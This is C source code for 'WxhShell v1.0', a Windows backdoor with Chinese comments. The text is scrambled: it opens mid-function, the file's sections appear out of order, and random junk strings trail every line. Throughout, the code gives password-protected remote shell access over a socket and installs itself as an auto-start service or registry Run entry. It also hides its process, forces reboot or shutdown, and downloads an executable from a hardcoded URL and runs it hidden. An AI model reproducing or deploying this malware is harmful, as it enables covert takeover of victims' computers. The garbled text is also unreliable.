    if(Boot(SHUTDOWN)) ]L)l5@5^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?DJ/Yw>>3  
    else { GO4IAUA  
    closesocket(wsh); )d(F]uV:y  
    ExitThread(0); %La<]  
    } :O)\+s-  
    break; w eX%S&#?  
    } u]0{#wu;g  
  // 获取shell ]WFr5  
  case 's': { V?t56n Y}  
    CmdShell(wsh); i=3~ h Zl  
    closesocket(wsh); g&&-  
    ExitThread(0); `O,^oD4  
    break; f(S9>c2  
  } 94.|l  
  // 退出 Y(mnGaVn  
  case 'x': { x_L5NsO:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1egq:bh  
    CloseIt(wsh); W?TvdeBx  
    break; VcX89c4\  
    } @3*S:;x  
  // 离开 8SGqDaRt  
  case 'q': { |!m8JV|x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kLE("I:7  
    closesocket(wsh); 9u?[{h.`B  
    WSACleanup(); }vK8P r%  
    exit(1); >dK# tsp  
    break; nz2`YyR  
        } W79Sz}):  
  } FHbyL\Q  
  } t4d^DZDh!  
yRAfIB$T}"  
  // 提示信息 @js`$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SL[EOz#  
} n?(sn  
  } {Qba`lOkq  
tn 38T%  
  return; u7nTk'#r  
} He9Er  
#=uV, dw  
// shell模块句柄 tNvjwgV\  
int CmdShell(SOCKET sock) dkWV/DAm  
{ |1%eo.  
STARTUPINFO si; &v)/mc7D  
ZeroMemory(&si,sizeof(si)); do[w&`jw8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x1`4hB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "W^+NeLc  
PROCESS_INFORMATION ProcessInfo; gT_tR_g  
char cmdline[]="cmd"; h~pQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6c6w w"  
  return 0; LK|1[y^h  
} W:VX^8</  
;:  xE'-  
// 自身启动模式 kxCN0e#_  
int StartFromService(void) :@4+}  
{ hsAk7KC  
typedef struct .QW@rV:T  
{ 7}L.(Jp9  
  DWORD ExitStatus; lJ Jn@A  
  DWORD PebBaseAddress; @6kkt~>:  
  DWORD AffinityMask; +[Izz~ _p  
  DWORD BasePriority; ntxaFVD  
  ULONG UniqueProcessId; X=@bzL;eq  
  ULONG InheritedFromUniqueProcessId; NOSL b];  
}   PROCESS_BASIC_INFORMATION; a! 3eZ,  
^U9b)KA  
PROCNTQSIP NtQueryInformationProcess; SFjRSMi  
f"-3'kqo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GJ\bZ"vDo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /$d #9Uv  
Y )68  
  HANDLE             hProcess; )YVs=0j  
  PROCESS_BASIC_INFORMATION pbi; $sFqMy  
R$x(3eyx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (c S'Nm5  
  if(NULL == hInst ) return 0; p`Ok(C_  
r ?<?0j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fQxlYD'peb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z|B`n SzH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LfvNO/:,  
,(B/R8ZF~  
  if (!NtQueryInformationProcess) return 0; emHaZhh  
QL\3|'a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e7yn"kd  
  if(!hProcess) return 0; /Yj; '\3  
pS "A{k)i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JLGC'mbJ  
Ip0`R+8  
  CloseHandle(hProcess); " 1h~P,  
5Mp$u756  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 06 an(& a9  
if(hProcess==NULL) return 0; I@kMM12>c  
_D{{C  
HMODULE hMod; %_(^BZd  
char procName[255]; B A i ^t  
unsigned long cbNeeded; J u"/#@  
[U,hb1Wi3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s( :N>K5*  
PKZMuEEy,  
  CloseHandle(hProcess); f3*SIKi  
8CUl |I ~  
if(strstr(procName,"services")) return 1; // 以服务启动 MSb0J`  
je74As[  
  return 0; // 注册表启动 n){u!z)Al  
}  GG(}#Z5h  
Ow {NI-^K  
// 主模块 S" PJ@E}^E  
int StartWxhshell(LPSTR lpCmdLine) q3D,hG_  
{ xf;Tk   
  SOCKET wsl; C;YtMY:  
BOOL val=TRUE; qgxGq(6K  
  int port=0; :n OCs  
  struct sockaddr_in door; g6h=Q3@  
nFjaV`6`@  
  if(wscfg.ws_autoins) Install(); RijFN.s  
M y!;N1  
port=atoi(lpCmdLine); r@CbhD  
{3BWT  
if(port<=0) port=wscfg.ws_port; {A\y 4D@  
L,3%}_  
  WSADATA data; p[%B#(]9,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?:7.3{|Aq  
vv D515i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A<-3u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A/OGF>  
  door.sin_family = AF_INET; #Wt1Ph_;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~"cqFdnO  
  door.sin_port = htons(port); ,[u.5vC  
lGEfI&1%!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 17lc5#^L  
closesocket(wsl); Aj+0R?9tG  
return 1; : n\D  
} #VuiY  
m,SWG[~  
  if(listen(wsl,2) == INVALID_SOCKET) { (wp?tMN5#  
closesocket(wsl); bKQ-PM&I/t  
return 1; Cdc=1,U(  
} w"!zLB&9[  
  Wxhshell(wsl); :&m0eZZ%  
  WSACleanup(); O/ZyWT  
cN7|Zsc\  
return 0; ,Z(J;~  
4x$Ts %]  
} \7q>4[  
AE4>pzBe  
// 以NT服务方式启动 Y~ Nt9L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mam(h{f$  
{ Ns-3\~QSi  
DWORD   status = 0; `%.x0~ ih  
  DWORD   specificError = 0xfffffff; k&o1z'<C  
gP=@u.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gx-tPW}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IJ6&*t wT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t8B==%  
  serviceStatus.dwWin32ExitCode     = 0; %M-B"#OB7  
  serviceStatus.dwServiceSpecificExitCode = 0; ys9MV%*  
  serviceStatus.dwCheckPoint       = 0; Es+BV+x[.c  
  serviceStatus.dwWaitHint       = 0; M!iYj+nrP  
(C hL$!x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p"q4R2_/jh  
  if (hServiceStatusHandle==0) return; tH9BC5+r}  
`BY&&Bv#?  
status = GetLastError(); ] dHV^!  
  if (status!=NO_ERROR) WC 5v#*Jd  
{ y_Nn%(j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +WSM<S2 U  
    serviceStatus.dwCheckPoint       = 0; #}zL?s^G  
    serviceStatus.dwWaitHint       = 0; {pEbi)CF,}  
    serviceStatus.dwWin32ExitCode     = status; U=ie| 3  
    serviceStatus.dwServiceSpecificExitCode = specificError; v,mn=Q&9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?)XPY<  
    return; ^BQ*l5K  
  } @Ke3kLQ_\X  
xkkW?[&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z*&r@P -  
  serviceStatus.dwCheckPoint       = 0; OEs!H]v  
  serviceStatus.dwWaitHint       = 0; }@jT-t]P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J/^|Y6  
} =#{i;CC%  
*M()z.N  
// 处理NT服务事件,比如:启动、停止 ' Y.s}Duj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @W*Zrc1NF  
{ c>e~$b8  
switch(fdwControl) qEB]Tj e[  
{ .\b# 0w  
case SERVICE_CONTROL_STOP: xZ(VvINL'  
  serviceStatus.dwWin32ExitCode = 0; j!QP>AM|`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L51uC ,QF  
  serviceStatus.dwCheckPoint   = 0; }&Jml%F4uR  
  serviceStatus.dwWaitHint     = 0; 1R"ymWg"  
  { 9-N*Jhg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R(F+Xg je  
  } s~Od(,K  
  return; zmh3 Qa(  
case SERVICE_CONTROL_PAUSE: U)gr C8 C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *dm?,~f%<  
  break; C6(WnO{6  
case SERVICE_CONTROL_CONTINUE: (eJYv: ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cdfvc0  
  break; & l NHNu[  
case SERVICE_CONTROL_INTERROGATE: C!aK5rqhv  
  break; |{H-PH*Iz  
}; >L>t$1hXM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ql+l~  
} Ga} &%  
_rf  
// 标准应用程序主函数 nyR4E}@:O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7ezf.[{R  
{ l/w<R  
kKR Z79"7s  
// 获取操作系统版本 _<1uO=km6  
OsIsNt=GetOsVer(); @AU<'?k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #v`J]I)$  
~#jD/  
  // 从命令行安装 B?)=d,E  
  if(strpbrk(lpCmdLine,"iI")) Install(); FGG 7;0(  
');QmN%J  
  // 下载执行文件 RAW(lZ(  
if(wscfg.ws_downexe) { FUj4y 9X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {^VvL'n  
  WinExec(wscfg.ws_filenam,SW_HIDE); z`[q$H7?  
} ?Em*yc@WD  
GP\Pk/E  
if(!OsIsNt) { uM<6][^`  
// 如果时win9x,隐藏进程并且设置为注册表启动 #D&]5"0cX  
HideProc(); D#n^U `\if  
StartWxhshell(lpCmdLine); 1Q ^YaHzuW  
} ZNvnVW<  
else -] .Y";  
  if(StartFromService()) `+/xA\X]  
  // 以服务方式启动 Ge]2g0  
  StartServiceCtrlDispatcher(DispatchTable); }$ZcC_  
else r&t)%R@q  
  // 普通方式启动 =?/RaK/ w  
  StartWxhshell(lpCmdLine); *n=NBkq%/!  
xW;-=Q  
return 0; GKNH{|B$D  
} l[q%1-N  
$Z;?d@6yI  
-Vi"hSsUP  
@i[z4)"S  
===========================================  `9  
&k+'TcWm  
6n.W5 1g(s  
*M_Gu{xc  
1MCHwX3/  
. 787+J?  
" AZCbUkq  
@]H:=Q'gj  
#include <stdio.h> gB\KD{E  
#include <string.h> yjbqby7  
#include <windows.h> 4S]`S\w  
#include <winsock2.h> {{?[b^  
#include <winsvc.h> @,63%  
#include <urlmon.h> b1}P3W  
4#z@B1Jx  
#pragma comment (lib, "Ws2_32.lib") ,afh]#  
#pragma comment (lib, "urlmon.lib") yH8 N8  
: qKxm(  
#define MAX_USER   100 // 最大客户端连接数 +Zx+DW cq  
#define BUF_SOCK   200 // sock buffer z6K"}C%  
#define KEY_BUFF   255 // 输入 buffer qdB@P  
':fq  
#define REBOOT     0   // 重启 &Oq& ikw  
#define SHUTDOWN   1   // 关机 %<oey%ue  
%jK-}0Tu  
#define DEF_PORT   5000 // 监听端口 c D+IMlT  
Mlp[xk|  
#define REG_LEN     16   // 注册表键长度 '[fo  
#define SVC_LEN     80   // NT服务名长度 VR>;{>~  
$^Dx4:k<2  
// 从dll定义API T6|zT}cb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O7shY4Sr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T3o}%wGW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'Dq!o[2y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7B$iM,}.b  
 ?6!7fs,  
// wxhshell配置信息 .pgTp X   
struct WSCFG { )jK"\'cK  
  int ws_port;         // 监听端口 38dXfl  
  char ws_passstr[REG_LEN]; // 口令 d FF[2  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nkt(1?:-'  
  char ws_regname[REG_LEN]; // 注册表键名 Eg?6$[U`8<  
  char ws_svcname[REG_LEN]; // 服务名 cPxA R]'U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $up.< qzj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Hf!@p6R+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xS` %3+|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bmEo5f~C!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {|%N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %v\0Dm+A  
;%Jw9G\h  
}; |\ j'Z0  
j(!M  
// default Wxhshell configuration 2B7X~t>8a  
struct WSCFG wscfg={DEF_PORT, xn&G`  
    "xuhuanlingzhe", <@}~Fp@  
    1, *]fBd<(8  
    "Wxhshell", d*=P8QwL|  
    "Wxhshell", =Uta5$\a)  
            "WxhShell Service", -y{o@  
    "Wrsky Windows CmdShell Service", d_&R>GmR$  
    "Please Input Your Password: ", qWf7k+7G  
  1, &,xN$  
  "http://www.wrsky.com/wxhshell.exe", h#?L6<*tm  
  "Wxhshell.exe" Us'm9 J  
    }; rS>JzbWa  
Z;bzp3v  
// 消息定义模块 =N`"%T@=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c~(+#a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N %-Cp)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^o]ZDc  
char *msg_ws_ext="\n\rExit.";  KAmv7  
char *msg_ws_end="\n\rQuit."; 1e*+k$-{  
char *msg_ws_boot="\n\rReboot..."; *M5 =PQfb  
char *msg_ws_poff="\n\rShutdown..."; Y&aFAjj  
char *msg_ws_down="\n\rSave to "; |b{XnD_g  
Au$|@  
char *msg_ws_err="\n\rErr!"; Ql> DS~a  
char *msg_ws_ok="\n\rOK!"; bR@ e6.<i  
.Y!*6I  
char ExeFile[MAX_PATH]; +$_W4lf|E2  
int nUser = 0; -$L53i&R  
HANDLE handles[MAX_USER]; <k'=_mC_  
int OsIsNt; SIjdwr!+ZZ  
5C/W_H+9iK  
SERVICE_STATUS       serviceStatus; Lc6Wj'G G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xR2E? 0T  
a&~d,vC  
// 函数声明 T9\wkb.  
int Install(void); \X5{>nNh  
int Uninstall(void); bort2k  
int DownloadFile(char *sURL, SOCKET wsh); jQzq(oDQw  
int Boot(int flag); rl9YB %P  
void HideProc(void); DPJ#Y -0  
int GetOsVer(void); M"2Tuwz  
int Wxhshell(SOCKET wsl); ~k?7XF I  
void TalkWithClient(void *cs); L,| 60*  
int CmdShell(SOCKET sock); u-3A6Q  
int StartFromService(void); }s=D,_}m  
int StartWxhshell(LPSTR lpCmdLine); Jz s.)  
 Q0' xn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '<~l% q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j^T.7Zv  
m UpLD+-j  
// 数据结构和表定义 W XDl\*n  
SERVICE_TABLE_ENTRY DispatchTable[] = ~`c?&YixU  
{ @Hj5ZJ 3  
{wscfg.ws_svcname, NTServiceMain}, 1+RG@Cp  
{NULL, NULL} LY[XPV]t  
}; 4df)?/  
=vMFCp;mv  
// 自我安装 EAU6z(X$  
int Install(void) yf+M  
{ V*rAZ0  
  char svExeFile[MAX_PATH]; kD S  
  HKEY key; >S3iP?V7  
  strcpy(svExeFile,ExeFile); 9S@PY_ms  
[op!:K0  
// 如果是win9x系统,修改注册表设为自启动 eD/O)X  
if(!OsIsNt) { `me2Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r k;k:<c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^AK<]r<?L?  
  RegCloseKey(key); WY#A9i5Ge  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  XeDiiI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vu0jNKUV  
  RegCloseKey(key); \];0S4SBy  
  return 0; V #W,}+_Sz  
    } _eM\ /(v[  
  } vFL Qq,?Nh  
} uyMxBc%6  
else { qc\]~]H]r  
"  m<]B  
// 如果是NT以上系统,安装为系统服务 LO<R<zz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @6 uB78U4O  
if (schSCManager!=0) k'{'6JR  
{ .ml24SeC  
  SC_HANDLE schService = CreateService %N_5p'W  
  ( [ !/u,  
  schSCManager, 4%1sOnl  
  wscfg.ws_svcname, hIu;\dfwk  
  wscfg.ws_svcdisp, N|5J-fR&  
  SERVICE_ALL_ACCESS, H=[eO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #z_lBg. K  
  SERVICE_AUTO_START, >&3M #s(w  
  SERVICE_ERROR_NORMAL, ;<d("Yz:@Z  
  svExeFile, *ndXZ64  
  NULL, TJ8IYo| D  
  NULL, @9g$+_"ZT  
  NULL, St9W{  
  NULL, Y%y=  
  NULL z&[Rw<{Psb  
  ); dO}6zQ\  
  if (schService!=0) a]-F,MJ  
  { <QFT>#@T  
  CloseServiceHandle(schService); }.ZX.qYX  
  CloseServiceHandle(schSCManager); %!I7tR#;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gs;wx_k^  
  strcat(svExeFile,wscfg.ws_svcname); m`gH5vQa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @ofivCc<%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .6aC2A]es  
  RegCloseKey(key); L,c@Z@  
  return 0; r18eu B%  
    } reJw&t}Q  
  } 42E]&=Cet  
  CloseServiceHandle(schSCManager); lJ;7sgQ#  
} ste0:.*qb  
} esU9  
;+] mcgN!  
return 1; (CFm6p'RZ  
} O_}R~p  
NovF?kh2  
// 自我卸载 "/[xak!g  
int Uninstall(void) low 0@+Q  
{ >Lj0B%^EvM  
  HKEY key; LdnHz#  
=]jc{Y%o  
if(!OsIsNt) { jsB%RvX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =n .d'  
  RegDeleteValue(key,wscfg.ws_regname); w%F~4|F  
  RegCloseKey(key); <]<P<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N\{Xhr7d  
  RegDeleteValue(key,wscfg.ws_regname);  @v &hr  
  RegCloseKey(key); )(yD"]co  
  return 0; ci*rem  
  } y(/"DUx  
} Kab"r_'  
} 6D3hX>K4  
else { @=JOAo  
0N.B =j|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :b t;DJ@  
if (schSCManager!=0) Em8q1P$tm>  
{ =y+gS%o$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); & -L$B  
  if (schService!=0) |j:"n3~6  
  { B!{vSBq  
  if(DeleteService(schService)!=0) { ]S!:p>R  
  CloseServiceHandle(schService); RlW0U-%u  
  CloseServiceHandle(schSCManager); D>tex/Of3  
  return 0; cW%QKdTQY0  
  } ZYRZ$87jZ  
  CloseServiceHandle(schService); -;]m4R)z  
  } KA~eOEj M  
  CloseServiceHandle(schSCManager); LF6PKS  
} CVUA7eG+  
} ]mIcK  
8i$quHd&x  
return 1; xAJ N(8?  
} 9~3;upWu!  
v *'anw&Z  
// 从指定url下载文件 aia`mO]  
int DownloadFile(char *sURL, SOCKET wsh) /`6Y-8e2  
{ u NmbR8Mx  
  HRESULT hr; Ub[SUeBGH  
char seps[]= "/"; 7\(m n$  
char *token; :c75*h`  
char *file; rdj_3Utv  
char myURL[MAX_PATH]; fv@mA--  
char myFILE[MAX_PATH]; |w; hu]  
{"kE u  
strcpy(myURL,sURL); Y=G9|7*lO  
  token=strtok(myURL,seps); .M(')$\U  
  while(token!=NULL) >- S?rXO  
  { /wAx#[c[  
    file=token; Nk JOD3>U  
  token=strtok(NULL,seps);  9t$#!2z  
  } *Wbs{>&No  
[d"]AF[#  
GetCurrentDirectory(MAX_PATH,myFILE); 2Xw=kwu  
strcat(myFILE, "\\"); RBOb/.$  
strcat(myFILE, file); <'T:9  
  send(wsh,myFILE,strlen(myFILE),0); D;?cf+6$  
send(wsh,"...",3,0); ws/e~ T<c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |)TI&T;k  
  if(hr==S_OK) "Yp:{e  
return 0; .4CCR[Het  
else ,gO}H)v]t  
return 1; Fh8 8DDJ  
L i g7Ac,  
} Tumv0=q4wd  
"mk@p=d  
// 系统电源模块 DtEvt+h  
int Boot(int flag) ]u5B]ZQnA  
{ 1`sLbPW  
  HANDLE hToken; ztS:1\  
  TOKEN_PRIVILEGES tkp; IL0e:-@!0  
hw 5NHZ I'  
  if(OsIsNt) { z:Y Z]   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,r5'nDV=d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,|}}Ml  
    tkp.PrivilegeCount = 1; yN@3uYBF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +DsdzR`Gx,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k`we_$/Gw  
if(flag==REBOOT) { cMU"SO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lwSZ pS  
  return 0; }yzCq+  
} QG1+*J76b@  
else { !l(D0 C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?8U#,qq#`  
  return 0; s7d4)A%  
} B3^F $6=  
  } T0;8koj^_  
  else { %~e+H|  
if(flag==REBOOT) { :  I q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A4~- {.w=  
  return 0; |l-~,eRvi5  
} 8(zE^W,[8"  
else { zi^?9n),  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !-veL1r  
  return 0; @D[tljc^  
} v:F_! Q  
} AAXlBY6Y-  
fzdWM:g  
return 1; eIDrN%3  
} Xi~7pH  
?W 6 :$  
// win9x进程隐藏模块 Qx")D?u  
void HideProc(void) <da-iY\5  
{ |LLDaA-=0  
7!;H$mxP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^j!2I&h1  
  if ( hKernel != NULL ) B7QRG0  
  { f&L3M)T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PyoIhe&ep  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3<x1s2U  
    FreeLibrary(hKernel); $2E&~W %  
  } 41v#|%\w  
1j*E/L  
return; y3 "+4e  
} 5La' I7q  
`nCVO;B  
// 获取操作系统版本 EJW}&e/  
int GetOsVer(void) 4{QD: D(D  
{ >Jk]=_%  
  OSVERSIONINFO winfo; ^O3i)GO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p:NIRs  
  GetVersionEx(&winfo); GY t|[GC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )61X,z  
  return 1; / q| o  
  else *B)J(^M!q  
  return 0; $'x#rW>v  
} L,O.XR  
%<O0Yenu  
// 客户端句柄模块 Bwc_N.w?3  
int Wxhshell(SOCKET wsl) _Rb>py  
{ 6b1AIs8  
  SOCKET wsh; b OolBKV  
  struct sockaddr_in client; :V0sKg|sS  
  DWORD myID; ES)@iM?5  
]7{ e~U  
  while(nUser<MAX_USER) F.{$HJ  
{ `aDVN_h{6  
  int nSize=sizeof(client); +QEP:#qZw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]]NTvr  
  if(wsh==INVALID_SOCKET) return 1; vD^Uod1  
FEO /RMh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z5J$".O`  
if(handles[nUser]==0) QuIZpP=  
  closesocket(wsh); hb<cynY  
else $x*(D|\'<  
  nUser++; ?[=OQ/E  
  } X7rsO^}W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J(:y-U  
90 >V he  
  return 0; 7NRm\%^q  
} kIR/.Ij}  
[]$L"?]0uk  
// 关闭 socket  u]OYu  
void CloseIt(SOCKET wsh) +~V)&6Vn  
{ IuY4R0Go  
closesocket(wsh); BS=~G+/:|  
nUser--; lhPxMMS`j  
ExitThread(0); f~R+Q/Gtz`  
} w! PguP  
'!F'B:  
// 客户端请求句柄 6HZVBZhM  
void TalkWithClient(void *cs) W]5Hc|!^^  
{ qfX26<q  
"QvTn=  
  SOCKET wsh=(SOCKET)cs; N F,<^ u  
  char pwd[SVC_LEN]; CiV^bYi  
  char cmd[KEY_BUFF]; ^ib =fLu  
char chr[1]; mqtYny'  
int i,j; &3OV|ly]  
 R;zf x/  
  while (nUser < MAX_USER) { _SnD)k+TgJ  
:=*V i`  
if(wscfg.ws_passstr) { ZfXgVTJ`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &x\cEI)!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4t-l@zFWb  
  //ZeroMemory(pwd,KEY_BUFF); [V_+/[AA)  
      i=0; CFUn1^?0  
  while(i<SVC_LEN) { [1mEdtqf*  
V`8\)FFG  
  // 设置超时 c#f@v45  
  fd_set FdRead; x!6<7s  
  struct timeval TimeOut; vY7 @1_"  
  FD_ZERO(&FdRead); XE]"RD<z  
  FD_SET(wsh,&FdRead); \&l@rMD3s  
  TimeOut.tv_sec=8; B3<sSe8L0  
  TimeOut.tv_usec=0; ~e&O?X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?./%7v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |\>Ifv%{  
V%B~ q`4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Iis/Xw:  
  pwd=chr[0]; y\ })C-&  
  if(chr[0]==0xd || chr[0]==0xa) { gT(8.<h8  
  pwd=0; 8Wo!NG:V5  
  break; cbYQ';{  
  } gquvVj1oT  
  i++; G^';9 UK  
    } BT`g'#O  
os7xwI;T  
  // 如果是非法用户,关闭 socket cTq;<9Iew  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6 FN#Xg  
} p1\mjM  
/|lAxAm?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W4bN']?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;E ,i  
p: )=i"uL  
while(1) { S503b*pM  
w:/3%-  
  ZeroMemory(cmd,KEY_BUFF); kZ PL$ \/A  
CvR-lKV<  
      // 自动支持客户端 telnet标准   `(ik2#B`}  
  j=0; T2n3g|4  
  while(j<KEY_BUFF) { S>)[n]f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %WC ^aKfY  
  cmd[j]=chr[0]; #hP>IU  
  if(chr[0]==0xa || chr[0]==0xd) { &F:.OVzX  
  cmd[j]=0; 2C1NDrS;}  
  break; %P{3c~?DH  
  } 3 /PvH E{R  
  j++; ! >V)x  
    } , 6Jw   
Qm=iCZ|E^!  
  // 下载文件 xI.0m  
  if(strstr(cmd,"http://")) { ~4|Trz2T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'c_K[p$  
  if(DownloadFile(cmd,wsh)) 5f MlOP_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pf/8tXs}  
  else J7qTE8W=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CxN xb)c &  
  } B,&QI&k`~  
  else { y=.bn!u}z  
J .VZD  
    switch(cmd[0]) { O;5lF  
  ?;H}5>^8P  
